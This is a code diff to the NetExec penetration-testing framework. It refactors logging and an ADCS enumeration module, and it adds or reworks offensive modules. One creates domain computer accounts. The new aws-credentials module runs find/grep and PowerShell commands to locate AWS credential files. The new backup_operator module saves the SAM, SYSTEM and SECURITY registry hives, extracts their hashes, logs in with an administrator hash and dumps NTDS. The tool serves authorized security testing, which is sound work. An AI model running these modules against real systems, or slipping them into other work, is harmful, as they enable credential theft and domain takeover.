@@ -18,27 +16,22 @@ class ProtocolLoader:
def get_protocols(self):
protocols = {}
protocol_paths = [
path_join(dirname(nxc.__file__), "protocols"),
path_join(self.nxc_path, "protocols"),
]
for path in protocol_paths:
for protocol in listdir(path):
if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
protocol_path = path_join(path, protocol)
protocol_name = protocol[:-3]
proto_path = path_join(dirname(nxc.__file__), "protocols")
for protocol in listdir(proto_path):
if protocol[-3:] == ".py" and protocol[:-3] != "__init__":
protocol_path = path_join(proto_path, protocol)
protocol_name = protocol[:-3]
protocols[protocol_name] = {"path": protocol_path}
db_file_path = path_join(path, protocol_name, "database.py")
db_nav_path = path_join(path, protocol_name, "db_navigator.py")
protocol_args_path = path_join(path, protocol_name, "proto_args.py")
if exists(db_file_path):
protocols[protocol_name]["dbpath"] = db_file_path
if exists(db_nav_path):
protocols[protocol_name]["nvpath"] = db_nav_path
if exists(protocol_args_path):
protocols[protocol_name]["argspath"] = protocol_args_path
protocols[protocol_name] = {"path": protocol_path}
db_file_path = path_join(proto_path, protocol_name, "database.py")
db_nav_path = path_join(proto_path, protocol_name, "db_navigator.py")
protocol_args_path = path_join(proto_path, protocol_name, "proto_args.py")
if exists(db_file_path):
protocols[protocol_name]["dbpath"] = db_file_path
if exists(db_nav_path):
protocols[protocol_name]["nvpath"] = db_nav_path
if exists(protocol_args_path):
protocols[protocol_name]["argspath"] = protocol_args_path
return protocols
+35 -40
View File
@@ -3,8 +3,8 @@ from logging import LogRecord
from logging.handlers import RotatingFileHandler
import os.path
import sys
import re
from nxc.console import nxc_console
from nxc.paths import NXC_PATH
from termcolor import colored
from datetime import datetime
from rich.text import Text
@@ -21,47 +21,47 @@ def parse_debug_args():
args, _ = debug_parser.parse_known_args()
return args
def setup_debug_logging():
debug_args = parse_debug_args()
root_logger = logging.getLogger("root")
if debug_args.verbose:
nxc_logger.logger.setLevel(logging.INFO)
root_logger.setLevel(logging.INFO)
elif debug_args.debug:
nxc_logger.logger.setLevel(logging.DEBUG)
root_logger.setLevel(logging.INFO)
root_logger.setLevel(logging.DEBUG)
else:
nxc_logger.logger.setLevel(logging.ERROR)
root_logger.setLevel(logging.ERROR)
def create_temp_logger(caller_frame, formatted_text, args, kwargs):
"""Create a temporary logger for emitting a log where we need to override the calling file & line number, since these are obfuscated"""
temp_logger = logging.getLogger("temp")
formatter = logging.Formatter("%(message)s", datefmt="[%X]")
handler = SmartDebugRichHandler(formatter=formatter)
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, kwargs, caller_frame=caller_frame))
handler.handle(LogRecord(temp_logger.name, logging.INFO, caller_frame.f_code.co_filename, caller_frame.f_lineno, formatted_text, args, None, caller_frame=caller_frame))
class SmartDebugRichHandler(RichHandler):
"""Custom logging handler for when we want to log normal messages to DEBUG and not double log"""
def __init__(self, formatter=None, *args, **kwargs):
super().__init__(*args, **kwargs)
if formatter is not None:
self.setFormatter(formatter)
def emit(self, record):
"""Overrides the emit method of the RichHandler class so we can set the proper pathname and lineno"""
# for some reason in RDP, the exc_text is None which leads to a KeyError in Python logging
record.exc_text = record.getMessage() if record.exc_text is None else record.exc_text
if hasattr(record, "caller_frame"):
frame_info = inspect.getframeinfo(record.caller_frame)
record.pathname = frame_info.filename
record.lineno = frame_info.lineno
super().emit(record)
def no_debug(func):
"""Stops logging non-debug messages when we are in debug mode
It creates a temporary logger and logs the message to the console and file
@@ -71,7 +71,7 @@ def no_debug(func):
def wrapper(self, msg, *args, **kwargs):
if self.logger.getEffectiveLevel() >= logging.INFO:
return func(self, msg, *args, **kwargs)
else:
else:
formatted_text = Text.from_ansi(self.format(msg, *args, **kwargs)[0])
caller_frame = inspect.currentframe().f_back
create_temp_logger(caller_frame, formatted_text, args, kwargs)
@@ -80,7 +80,7 @@ def no_debug(func):
class NXCAdapter(logging.LoggerAdapter):
def __init__(self, extra=None):
def __init__(self, extra=None, merge_extra=False):
logging.basicConfig(
format="%(message)s",
datefmt="[%X]",
@@ -89,19 +89,26 @@ class NXCAdapter(logging.LoggerAdapter):
rich_tracebacks=True,
tracebacks_show_locals=False
)],
encoding="utf-8"
)
self.logger = logging.getLogger("nxc")
self.extra = extra
self.merge_extra = merge_extra
self.output_file = None
logging.getLogger("impacket").disabled = True
logging.getLogger("pypykatz").disabled = True
logging.getLogger("minidump").disabled = True
logging.getLogger("lsassy").disabled = True
logging.getLogger("dploot").disabled = True
logging.getLogger("certipy").disabled = True
logging.getLogger("aardwolf").disabled = True
logging.getLogger("unicrypto").disabled = True
logging.getLogger("asyncio").setLevel(logging.ERROR)
logging.getLogger("neo4j").setLevel(logging.ERROR)
logging.getLogger("pypsrp").setLevel(logging.ERROR)
def format(self, msg, *args, **kwargs): # noqa: A003
def format(self, msg, *args, **kwargs):
"""Format msg for output
This is used instead of process() since process() applies to _all_ messages, including debug calls
@@ -116,10 +123,6 @@ class NXCAdapter(logging.LoggerAdapter):
if len(self.extra) == 1 and ("module_name" in self.extra):
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<64} {msg}", kwargs)
# If the logger is being called from nxcServer
if len(self.extra) == 2 and ("module_name" in self.extra) and ("host" in self.extra):
return (f"{colored(self.extra['module_name'], 'cyan', attrs=['bold']):<24} {self.extra['host']:<39} {msg}", kwargs)
# If the logger is being called from a protocol
module_name = colored(self.extra["module_name"], "cyan", attrs=["bold"]) if "module_name" in self.extra else colored(self.extra["protocol"], "blue", attrs=["bold"])
@@ -163,29 +166,34 @@ class NXCAdapter(logging.LoggerAdapter):
If debug or info logging is not enabled, we still want display/success/fail logged to the file specified,
so we create a custom LogRecord and pass it to all the additional handlers (which will be all the file handlers)
"""
if self.logger.getEffectiveLevel() >= logging.INFO and len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
caller_frame = inspect.currentframe().f_back.f_back.f_back
if len(self.logger.handlers): # will be 0 if it's just the console output, so only do this if we actually have file loggers
try:
for handler in self.logger.handlers:
handler.handle(LogRecord("nxc", 20, "", kwargs, msg=text, args=args, exc_info=None))
handler.handle(LogRecord("nxc", 20, pathname=caller_frame.f_code.co_filename, lineno=caller_frame.f_lineno, msg=text, args=args, exc_info=None))
except Exception as e:
self.logger.fail(f"Issue while trying to custom print handler: {e}")
def add_file_log(self, log_file=None):
file_formatter = TermEscapeCodeFormatter("%(asctime)s - %(levelname)s - %(message)s")
file_formatter = logging.Formatter("%(asctime)s | %(filename)s:%(lineno)s - %(levelname)s - %(message)s", datefmt="%Y-%m-%d %H:%M:%S")
output_file = self.init_log_file() if log_file is None else log_file
file_creation = False
if not os.path.isfile(output_file):
open(output_file, "x") # noqa: SIM115
try:
open(output_file, "x") # noqa: SIM115
except FileNotFoundError:
print(f"{colored('[-]', 'red', attrs=['bold'])} Log file path does not exist: {os.path.dirname(output_file)}")
exit(1)
file_creation = True
file_handler = RotatingFileHandler(output_file, maxBytes=100000)
file_handler = RotatingFileHandler(output_file, maxBytes=100000, encoding="utf-8")
with file_handler._open() as f:
if file_creation:
f.write(f"[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
f.write(f"[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
else:
f.write(f"\n[{datetime.now().strftime('%d-%m-%Y %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
f.write(f"\n[{datetime.now().strftime('%Y-%m-%d %H:%M:%S')}]> {' '.join(sys.argv)}\n\n")
file_handler.setFormatter(file_formatter)
self.logger.addHandler(file_handler)
@@ -193,27 +201,14 @@ class NXCAdapter(logging.LoggerAdapter):
@staticmethod
def init_log_file():
newpath = os.path.expanduser("~/.nxc") + "/logs/" + datetime.now().strftime("%Y-%m-%d")
if not os.path.exists(newpath):
os.makedirs(newpath)
newpath = NXC_PATH + "/logs/" + datetime.now().strftime("%Y-%m-%d")
os.makedirs(newpath, exist_ok=True)
return os.path.join(
os.path.expanduser("~/.nxc"),
NXC_PATH,
"logs",
datetime.now().strftime("%Y-%m-%d"),
f"log_{datetime.now().strftime('%Y-%m-%d-%H-%M-%S')}.log",
)
class TermEscapeCodeFormatter(logging.Formatter):
"""A class to strip the escape codes for logging to files"""
def __init__(self, fmt=None, datefmt=None, style="%", validate=True):
super().__init__(fmt, datefmt, style, validate)
def format(self, record): # noqa: A003
escape_re = re.compile(r"\x1b\[[0-9;]*m")
record.msg = re.sub(escape_re, "", str(record.msg))
return super().format(record)
# initialize the logger for all of nxc - this is imported everywhere
+10 -7
View File
@@ -1,6 +1,7 @@
import re
from impacket.ldap import ldap, ldapasn1
from impacket.ldap.ldap import LDAPSearchError
from nxc.helpers.misc import CATEGORY
class NXCModule:
@@ -13,8 +14,7 @@ class NXCModule:
name = "adcs"
description = "Find PKI Enrollment Services in Active Directory and Certificate Templates Names"
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
category = CATEGORY.ENUMERATION
def __init__(self, context=None, module_options=None):
self.context = context
@@ -27,7 +27,7 @@ class NXCModule:
SERVER PKI Enrollment Server to enumerate templates for. Default is None, use CN name
BASE_DN The base domain name for the LDAP query
"""
self.regex = re.compile("(https?://.+)")
self.regex = re.compile(r"(https?://.+)")
self.server = None
self.base_dn = None
@@ -49,10 +49,10 @@ class NXCModule:
try:
sc = ldap.SimplePagedResultsControl()
base_dn_root = connection.ldapConnection._baseDN if self.base_dn is None else self.base_dn
base_dn_root = connection.ldap_connection._baseDN if self.base_dn is None else self.base_dn
if self.server is None:
connection.ldapConnection.search(
connection.ldap_connection.search(
searchFilter=search_filter,
attributes=[],
sizeLimit=0,
@@ -61,7 +61,7 @@ class NXCModule:
searchBase="CN=Configuration," + base_dn_root,
)
else:
connection.ldapConnection.search(
connection.ldap_connection.search(
searchFilter=search_filter + base_dn_root + ")",
attributes=["certificateTemplates"],
sizeLimit=0,
@@ -70,7 +70,10 @@ class NXCModule:
searchBase="CN=Configuration," + base_dn_root,
)
except LDAPSearchError as e:
context.log.fail(f"Obtained unexpected exception: {e}")
if "noSuchObject" in str(e):
context.log.fail("No ADCS infrastructure found.")
else:
context.log.fail(f"Obtained unexpected exception: {e}")
def process_servers(self, item):
"""Function that is called to process the items obtain by the LDAP search when listing PKI Enrollment Servers."""
+101 -133
View File
@@ -3,11 +3,13 @@ import ldap3
import sys
from impacket.dcerpc.v5 import samr, epm, transport
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Module by CyberCelt: @Cyb3rC3lt
Initial module:
Initial module:
https://github.com/Cyb3rC3lt/CrackMapExec-Modules
Thanks to the guys at impacket for the original code
"""
@@ -15,8 +17,7 @@ class NXCModule:
name = "add-computer"
description = "Adds or deletes a domain computer"
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = False
category = CATEGORY.PRIVILEGE_ESCALATION
def options(self, context, module_options):
"""
@@ -29,9 +30,6 @@ class NXCModule:
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" DELETE=True
nxc smb $DC-IP -u Username -p Password -M add-computer -o NAME="BADPC" PASSWORD="Password2" CHANGEPW=True
"""
self.__baseDN = None
self.__computerGroup = None
self.__method = "SAMR"
self.__noAdd = False
self.__delete = False
self.noLDAPRequired = False
@@ -60,50 +58,32 @@ class NXCModule:
sys.exit(1)
def on_login(self, context, connection):
self.context = context
self.connection = connection
self.__domain = connection.domain
self.__domainNetbios = connection.domain
self.__kdcHost = connection.kdcHost
self.__username = connection.username
self.__password = connection.password
self.__host = connection.host
self.__port = context.smb_server_port
self.__aesKey = context.aesKey
self.__hashes = context.hash
self.__aesKey = connection.aesKey
self.__doKerberos = connection.kerberos
self.__nthash = ""
self.__lmhash = ""
if context.hash and ":" in context.hash[0]:
hashList = context.hash[0].split(":")
self.__nthash = hashList[-1]
self.__lmhash = hashList[0]
elif context.hash and ":" not in context.hash[0]:
self.__nthash = context.hash[0]
self.__lmhash = "00000000000000000000000000000000"
self.__nthash = connection.nthash
self.__lmhash = connection.lmhash
# First try to add via SAMR over SMB
self.do_samr_add(context)
self.do_samr_add()
# If SAMR fails now try over LDAPS
if not self.noLDAPRequired:
self.do_ldaps_add(connection, context)
self.do_ldaps_add()
def do_samr_add(self, context):
"""
Connects to a target server and performs various operations related to adding or deleting machine accounts.
Args:
----
context (object): The context object.
Returns:
-------
None
"""
def do_samr_add(self):
"""Connects to a target server and performs various operations related to adding or deleting machine accounts."""
string_binding = epm.hept_map(self.__host, samr.MSRPC_UUID_SAMR, protocol="ncacn_np")
string_binding = string_binding.replace(self.__host, self.__kdcHost) if self.__kdcHost else string_binding
rpc_transport = transport.DCERPCTransportFactory(string_binding.replace(self.__host, self.__kdcHost))
rpc_transport = transport.DCERPCTransportFactory(string_binding)
rpc_transport.setRemoteHost(self.__host)
if hasattr(rpc_transport, "set_credentials"):
@@ -122,39 +102,41 @@ class NXCModule:
samr_connect_response = samr.hSamrConnect5(dce, f"\\\\{self.__kdcHost}\x00", samr.SAM_SERVER_ENUMERATE_DOMAINS | samr.SAM_SERVER_LOOKUP_DOMAIN)
serv_handle = samr_connect_response["ServerHandle"]
# Get the list of domains
samr_enum_response = samr.hSamrEnumerateDomainsInSamServer(dce, serv_handle)
domains = samr_enum_response["Buffer"]["Buffer"]
domains_without_builtin = [domain for domain in domains if domain["Name"].lower() != "builtin"]
if len(domains_without_builtin) > 1:
domain = list(filter(lambda x: x["Name"].lower() == self.__domainNetbios, domains))
if len(domain) != 1:
context.log.highlight("{}".format('This domain does not exist: "' + self.__domainNetbios + '"'))
context.log.highlight("Available domain(s):")
self.context.log.fail(f"This domain does not exist: '{self.__domainNetbios}'")
self.context.log.fail("Available domain(s):")
for domain in domains:
context.log.highlight(f" * {domain['Name']}")
self.context.log.fail(f" * {domain['Name']}")
raise Exception
else:
selected_domain = domain[0]["Name"]
else:
selected_domain = domains_without_builtin[0]["Name"]
samr_lookup_domain_response = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)
domain_sid = samr_lookup_domain_response["DomainId"]
domain_sid = samr.hSamrLookupDomainInSamServer(dce, serv_handle, selected_domain)["DomainId"]
context.log.debug(f"Opening domain {selected_domain}...")
samr_open_domain_response = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)
domain_handle = samr_open_domain_response["DomainHandle"]
self.context.log.debug(f"Opening domain {selected_domain}...")
domain_handle = samr.hSamrOpenDomain(dce, serv_handle, samr.DOMAIN_LOOKUP | samr.DOMAIN_CREATE_USER, domain_sid)["DomainHandle"]
# Get handle for existing computer account
if self.__noAdd or self.__delete:
try:
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])["RelativeIds"]["Element"][0]
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000073:
context.log.highlight(f"{self.__computerName} not found in domain {selected_domain}")
self.context.log.debug(f"samrLookupNamesInDomain failed: {e}")
if "STATUS_NONE_MAPPED" in str(e):
self.context.log.fail(f"{self.__computerName} not found in domain {selected_domain}")
self.noLDAPRequired = True
context.log.exception(e)
else:
self.context.log.fail(f"Unexpected error looking up {self.__computerName} in domain {selected_domain}: {e}")
return
user_rid = check_for_user["RelativeIds"]["Element"][0]
if self.__delete:
access = samr.DELETE
message = "delete"
@@ -162,72 +144,68 @@ class NXCModule:
access = samr.USER_FORCE_PASSWORD_CHANGE
message = "set the password for"
try:
open_user = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)
user_handle = open_user["UserHandle"]
user_handle = samr.hSamrOpenUser(dce, domain_handle, access, user_rid)["UserHandle"]
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
context.log.highlight(f"{self.__username + ' does not have the right to ' + message + ' ' + self.__computerName}")
self.context.log.debug(f"samrOpenUser failed: {e}")
if "STATUS_ACCESS_DENIED" in str(e):
self.context.log.fail(f"{self.__username} does not have the right to {message} {self.__computerName}")
self.noLDAPRequired = True
context.log.exception(e)
else:
self.context.log.fail(f"Unexpected error opening {self.__computerName} in domain {selected_domain}: {e}")
return
# Add computer account
else:
if self.__computerName is not None:
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
self.noLDAPRequired = True
context.log.highlight("{}".format('Computer account already exists with the name: "' + self.__computerName + '"'))
except samr.DCERPCSessionError as e:
if e.error_code != 0xC0000073:
raise
else:
found_unused = False
while not found_unused:
self.__computerName = self.generateComputerName()
try:
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000073:
found_unused = True
else:
raise
try:
create_user = samr.hSamrCreateUser2InDomain(
samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
self.noLDAPRequired = True
self.context.log.fail(f'Computer account already exists with the name: "{self.__computerName}"')
except samr.DCERPCSessionError as e:
self.context.log.debug(f"samrLookupNamesInDomain failed: {e}")
if "STATUS_NONE_MAPPED" not in str(e):
self.context.log.fail(f"Unexpected error looking up {self.__computerName} in domain {selected_domain}: {e}")
return
try:
user_handle = samr.hSamrCreateUser2InDomain(
dce,
domain_handle,
self.__computerName,
samr.USER_WORKSTATION_TRUST_ACCOUNT,
samr.USER_FORCE_PASSWORD_CHANGE,
)
)["UserHandle"]
self.noLDAPRequired = True
context.log.highlight('Successfully added the machine account: "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"')
self.context.log.highlight(f"Successfully added the machine account: '{self.__computerName}' with Password: '{self.__computerPassword}'")
self.context.db.add_credential("plaintext", self.__domain, self.__computerName, self.__computerPassword)
except samr.DCERPCSessionError as e:
if e.error_code == 0xC0000022:
context.log.highlight("{}".format('The following user does not have the right to create a computer account: "' + self.__username + '"'))
elif e.error_code == 0xC00002E7:
context.log.highlight("{}".format('The following user exceeded their machine account quota: "' + self.__username + '"'))
context.log.exception(e)
user_handle = create_user["UserHandle"]
self.context.log.debug(f"samrCreateUser2InDomain failed: {e}")
if "STATUS_ACCESS_DENIED" in str(e):
self.context.log.fail(f"The following user does not have the right to create a computer account: {self.__username}")
elif "STATUS_DS_MACHINE_ACCOUNT_QUOTA_EXCEEDED" in str(e):
self.context.log.fail(f"The following user exceeded their machine account quota: {self.__username}")
return
if self.__delete:
samr.hSamrDeleteUser(dce, user_handle)
context.log.highlight("{}".format('Successfully deleted the "' + self.__computerName + '" Computer account'))
self.context.log.highlight(f"Successfully deleted the '{self.__computerName}' Computer account")
self.noLDAPRequired = True
user_handle = None
# Removing the machine account in the DB
user = self.context.db.get_user(self.__domain, self.__computerName)
user_ids = [row[0] for row in user]
self.context.db.remove_credentials(user_ids)
else:
samr.hSamrSetPasswordInternal4New(dce, user_handle, self.__computerPassword)
if self.__noAdd:
context.log.highlight("{}".format('Successfully set the password of machine "' + self.__computerName + '" with password "' + self.__computerPassword + '"'))
self.context.log.highlight(f"Successfully set the password of machine '{self.__computerName}' with password '{self.__computerPassword}'")
self.noLDAPRequired = True
else:
check_for_user = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])
user_rid = check_for_user["RelativeIds"]["Element"][0]
open_user = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)
user_handle = open_user["UserHandle"]
user_rid = samr.hSamrLookupNamesInDomain(dce, domain_handle, [self.__computerName])["RelativeIds"]["Element"][0]
user_handle = samr.hSamrOpenUser(dce, domain_handle, samr.MAXIMUM_ALLOWED, user_rid)["UserHandle"]
req = samr.SAMPR_USER_INFO_BUFFER()
req["tag"] = samr.USER_INFORMATION_CLASS.UserControlInformation
req["Control"]["UserAccountControl"] = samr.USER_WORKSTATION_TRUST_ACCOUNT
samr.hSamrSetInformationUser2(dce, user_handle, req)
if not self.noLDAPRequired:
context.log.highlight("{}".format('Successfully added the machine account "' + self.__computerName + '" with Password: "' + self.__computerPassword + '"'))
self.context.log.highlight(f"Successfully added the machine account '{self.__computerName}' with Password: '{self.__computerPassword}'")
self.noLDAPRequired = True
if user_handle is not None:
@@ -238,64 +216,54 @@ class NXCModule:
samr.hSamrCloseHandle(dce, serv_handle)
dce.disconnect()
def do_ldaps_add(self, connection, context):
"""
Performs an LDAPS add operation.
self.context.db.add_credential("plaintext", self.__domain, self.__computerName, self.__computerPassword)
Args:
----
connection (Connection): The LDAP connection object.
context (Context): The context object.
def do_ldaps_add(self):
"""Performs an LDAPS add operation."""
ldap_domain = f"dc={self.connection.domain.replace('.', ',dc=')}"
Returns:
-------
None
Raises:
------
None
"""
ldap_domain = connection.domain.replace(".", ",dc=")
spns = [
f"HOST/{self.__computerName}",
f"HOST/{self.__computerName}.{connection.domain}",
f"RestrictedKrbHost/{self.__computerName}",
f"RestrictedKrbHost/{self.__computerName}.{connection.domain}",
]
ucd = {
"dnsHostName": f"{self.__computerName}.{connection.domain}",
"userAccountControl": 0x1000,
"servicePrincipalName": spns,
"sAMAccountName": self.__computerName,
"unicodePwd": f"{self.__computerPassword}".encode("utf-16-le")
}
tls = ldap3.Tls(validate=ssl.CERT_NONE, version=ssl.PROTOCOL_TLSv1_2, ciphers="ALL:@SECLEVEL=0")
ldap_server = ldap3.Server(connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
c = ldap3.Connection(ldap_server, f"{connection.username}@{connection.domain}", connection.password)
ldap_server = ldap3.Server(self.connection.host, use_ssl=True, port=636, get_info=ldap3.ALL, tls=tls)
c = ldap3.Connection(ldap_server, f"{self.connection.username}@{self.connection.domain}", self.connection.password)
c.bind()
sAMAccountName = self.__computerName
name = self.__computerName.rstrip("$")
if self.__delete:
result = c.delete(f"cn={self.__computerName},cn=Computers,dc={ldap_domain}")
result = c.delete(f"cn={name},cn=Computers,{ldap_domain}")
if result:
context.log.highlight(f'Successfully deleted the "{self.__computerName}" Computer account')
self.context.log.highlight(f'Successfully deleted the "{sAMAccountName}" Computer account')
elif result is False and c.last_error == "noSuchObject":
context.log.highlight(f'Computer named "{self.__computerName}" was not found')
self.context.log.fail(f'Computer named "{sAMAccountName}" was not found')
elif result is False and c.last_error == "insufficientAccessRights":
context.log.highlight(f'Insufficient Access Rights to delete the Computer "{self.__computerName}"')
self.context.log.fail(f'Insufficient Access Rights to delete the Computer "{sAMAccountName}"')
else:
context.log.highlight(f'Unable to delete the "{self.__computerName}" Computer account. The error was: {c.last_error}')
self.context.log.fail(f'Unable to delete the "{sAMAccountName}" Computer account. The error was: {c.last_error}')
else:
spns = [
f"HOST/{name}",
f"HOST/{name}.{self.connection.domain}",
f"RestrictedKrbHost/{name}",
f"RestrictedKrbHost/{name}.{self.connection.domain}",
]
result = c.add(
f"cn={self.__computerName},cn=Computers,dc={ldap_domain}",
f"cn={name},cn=Computers,{ldap_domain}",
["top", "person", "organizationalPerson", "user", "computer"],
ucd
{
"dnsHostName": f"{name}.{self.connection.domain}",
"userAccountControl": 0x1000,
"servicePrincipalName": spns,
"sAMAccountName": sAMAccountName,
"unicodePwd": f'"{self.__computerPassword}"'.encode("utf-16-le")
}
)
if result:
context.log.highlight(f'Successfully added the machine account: "{self.__computerName}" with Password: "{self.__computerPassword}"')
context.log.highlight("You can try to verify this with the nxc command:")
context.log.highlight(f"nxc ldap {connection.host} -u {connection.username} -p {connection.password} -M group-mem -o GROUP='Domain Computers'")
self.context.log.highlight(f'Successfully added the machine account: "{sAMAccountName}" with Password: "{self.__computerPassword}"')
self.context.log.highlight("You can try to verify this with the nxc command:")
self.context.log.highlight(f"nxc ldap {self.connection.host} -u {self.connection.username} -p {self.connection.password} -M group-mem -o GROUP='Domain Computers'")
elif result is False and c.last_error == "entryAlreadyExists":
context.log.highlight(f"The Computer account '{self.__computerName}' already exists")
self.context.log.fail(f"The Computer account '{sAMAccountName}' already exists")
elif not result:
context.log.highlight(f"Unable to add the '{self.__computerName}' Computer account. The error was: {c.last_error}")
c.unbind()
self.context.log.fail(f"Unable to add the '{sAMAccountName}' Computer account. The error was: {c.last_error}")
c.unbind()
+50
View File
@@ -0,0 +1,50 @@
from nxc.helpers.misc import CATEGORY
class NXCModule:
"""
Search for aws credentials files on linux and windows machines
Module by Fortress
"""
name = "aws-credentials"
description = "Search for aws credentials files."
supported_protocols = ["ssh", "smb", "winrm"]
category = CATEGORY.CREDENTIAL_DUMPING
def __init__(self):
self.search_path_linux = "'/home/' '/tmp/'"
self.search_path_win = "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
def options(self, context, module_options):
r"""
SEARCH_PATH_LINUX Linux location where to search for aws credentials related files
Default: "'/home/' '/tmp/'"
SEARCH_PATH_WIN Windows locations where to search for aws credentials related files
Default: "'C:\\Users\\', 'C:\\ProgramData\\AWSCLI\\', 'C:\\Temp\\'"
"""
if "SEARCH_PATH_LINUX" in module_options:
self.search_path_linux = module_options["SEARCH_PATH_LINUX"]
if "SEARCH_PATH_WIN" in module_options:
self.search_path_win = module_options["SEARCH_PATH_WIN"]
def on_login(self, context, connection):
# search for aws_credentials-related files on linux systems
if "ssh" in context.protocol:
search_aws_creds_files_payload = f"find {self.search_path_linux} -type f -name credentials -exec grep -l 'aws_' {{}} \\; 2>&1 | grep -v 'Permission denied$'"
search_aws_creds_files_cmd = f'/bin/bash -c "{search_aws_creds_files_payload}"'
output = connection.execute(search_aws_creds_files_cmd)
else:
# search for aws_credentials-related files on windows systems
# we have to exclude "Application Data" as this creates an infinite recursion, see: https://www.reddit.com/r/PowerShell/comments/17pctnv/symbolic_link_application_data_in_appdatalocal/
search_aws_creds_files_payload_win = f"Get-ChildItem -Path {self.search_path_win} -Recurse -Force -Include 'credentials' -ErrorAction SilentlyContinue | Where-Object {{ Select-String -Path $_.FullName -Pattern 'aws' -Quiet }} | Select-Object -ExpandProperty FullName"
search_aws_creds_files_cmd_win = f'powershell.exe "{search_aws_creds_files_payload_win}"'
output = connection.execute(search_aws_creds_files_cmd_win, True)
if output:
context.log.success("The following files were found:")
for line in output.splitlines():
context.log.highlight(line.rstrip())
+127
View File
@@ -0,0 +1,127 @@
import contextlib
from time import sleep
from impacket.examples.secretsdump import SAMHashes, LSASecrets, LocalOperations
from impacket.smbconnection import SessionError
from impacket.dcerpc.v5 import transport, rrp
from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_GSS_NEGOTIATE
from nxc.helpers.misc import CATEGORY
class NXCModule:
name = "backup_operator"
description = "Exploit user in backup operator group to dump NTDS @mpgn_x64"
supported_protocols = ["smb"]
category = CATEGORY.PRIVILEGE_ESCALATION
def __init__(self, context=None, module_options=None):
self.context = context
self.module_options = module_options
self.domain_admin = None
self.domain_admin_hash = None
self.deleted_files = True # flag to check if SAM/SYSTEM/SECURITY files were deleted
def options(self, context, module_options):
"""NO OPTIONS"""
def on_login(self, context, connection):
connection.args.share = "SYSVOL"
# enable remote registry
context.log.display("Triggering RemoteRegistry to start through named pipe...")
connection.trigger_winreg()
rpc = transport.DCERPCTransportFactory(r"ncacn_np:445[\pipe\winreg]")
rpc.set_smb_connection(connection.conn)
if connection.kerberos:
rpc.set_kerberos(connection.kerberos, kdcHost=connection.kdcHost)
dce = rpc.get_dce_rpc()
if connection.kerberos:
dce.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
try:
dce.connect()
dce.bind(rrp.MSRPC_UUID_RRP)
for hive in ["HKLM\\SAM", "HKLM\\SYSTEM", "HKLM\\SECURITY"]:
hRootKey, subKey = self._strip_root_key(dce, hive)
outputFileName = f"\\\\{connection.host}\\SYSVOL\\{subKey}"
context.log.debug(f"Dumping {hive}, be patient it can take a while for large hives (e.g. HKLM\\SYSTEM)")
try:
ans2 = rrp.hBaseRegOpenKey(dce, hRootKey, subKey, dwOptions=rrp.REG_OPTION_BACKUP_RESTORE | rrp.REG_OPTION_OPEN_LINK, samDesired=rrp.KEY_READ)
rrp.hBaseRegSaveKey(dce, ans2["phkResult"], outputFileName)
context.log.highlight(f"Saved {hive} to {outputFileName}")
except Exception as e:
context.log.fail(f"Couldn't save {hive}: {e} on path {outputFileName}")
return
except (Exception, KeyboardInterrupt) as e:
context.log.fail(f"Unexpected error: {e}")
return
finally:
with contextlib.suppress(Exception):
dce.disconnect()
# copy remote file to local
log_path = f"{connection.output_filename}."
for hive in ["SAM", "SECURITY", "SYSTEM"]:
connection.get_file_single(hive, log_path + hive)
# read local file
try:
def parse_sam(secret):
context.log.highlight(secret)
if not self.domain_admin:
first_line = secret.strip().splitlines()[0]
fields = first_line.split(":")
self.domain_admin = fields[0]
self.domain_admin_hash = fields[3]
local_operations = LocalOperations(log_path + "SYSTEM")
boot_key = local_operations.getBootKey()
sam_hashes = SAMHashes(log_path + "SAM", boot_key, isRemote=False, perSecretCallback=lambda secret: parse_sam(secret))
sam_hashes.dump()
sam_hashes.finish()
LSA = LSASecrets(log_path + "SECURITY", boot_key, None, isRemote=False, perSecretCallback=lambda secret_type, secret: context.log.highlight(secret))
LSA.dumpCachedHashes()
LSA.dumpSecrets()
except Exception as e:
context.log.fail(f"Fail to dump the sam and lsa: {e!s}")
if self.domain_admin:
connection.conn.logoff()
connection.create_conn_obj()
if connection.hash_login(connection.domain, self.domain_admin, self.domain_admin_hash):
try:
context.log.display("Dumping NTDS...")
connection.ntds()
except Exception as e:
context.log.fail(f"Fail to dump the NTDS: {e!s}")
context.log.display(f"Cleaning dump with user {self.domain_admin} and hash {self.domain_admin_hash} on domain {connection.domain}")
